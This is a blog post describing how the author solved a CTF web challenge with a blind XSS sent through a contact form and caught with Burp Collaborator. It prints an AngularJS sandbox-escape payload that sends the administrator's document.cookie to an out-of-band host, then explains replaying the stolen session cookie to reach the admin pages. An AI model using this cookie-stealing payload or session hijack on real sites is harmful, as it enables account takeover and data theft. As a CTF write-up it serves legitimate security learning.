mardi 4 avril 2017, 22:55:17 (UTC+0200)

Exploiting a Blind XSS using Burp Suite

Last weekend, I participated to the qualification phase for the "Nuit du Hack 2017" CTF. We solved all the Web challenges, and I scored one of them alone, using exclusively Burp Suite Pro. Here's the story...

The challenge is named "Purple Posse Market", with the following description: "You work for the government in the forensic department, you are investigating on an illegal website which sells illegal drugs and weapons, you need to find a way to get the IBAN of the administrator of the website". The application uses the "Express" web server, which hints to a NodeJS application. AngularJS v1.5.8 is used and the whole page is located inside an execution context, thanks to the <html lang="en" ng-app> root tag. A contact form is available at "/contact". It allows to send messages to the administrator, which is said to be "currently online".

My assumptions:
1) the vulnerability to exploit is a Blind XSS via the contact form
2) the AngularJS part is important (of course, given that v1.5.8 is used!)
3) basic HTML and JavaScript injections (using <img> and <script> tags) would be filtered.
Reading other writeups (for example here), I was wrong on points #2 and #3.

Anyway, I initially started with a payload compatible with AngularJS v1.5.8 and triggering a ping-back without using angle brackets (you can test the vector here). Burp Suite Pro includes a tool dedicated to Out Of Band communications (named Collaborator), and that's a perfect situation to use it. I opened the Burp Collaborator client and requested a single Collaborator payload by clicking on "Copy to clipboard".

Given I was using the public server, I got the following payload (aka hostname): "". So the initial vector (sent through /contact) was the following:


After a few minutes, I got a Collaborator hit. As shown below, the victim came from http://localhost:3001/admin/messages/137/ and used PhantomJS/2.1.1:

I requested a new Collaborator payload (now "b3fi8t28zwu2wbhmd5qgmx34vv1sph...") and slightly modified the injected text, in order to exfiltrate the administrator's token:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,(new(Image)).src="//"+document.cookie ,a')}

And I received the "connect.sid" cookie:

From there, I created a "Match and Replace" rule in the Proxy tool, replacing any "connect.sid" cookie by the value just stolen. Using my browser to navigate to /admin/messages/ (leaked by the referrers), I found a page listing all the messages received by the admin, as well as a link to his profile. I clicked on this link and found the expected IBAN :-)

Posted by Nicolas Grégoire | Permanent link
Copyright 2010-2021 Agarri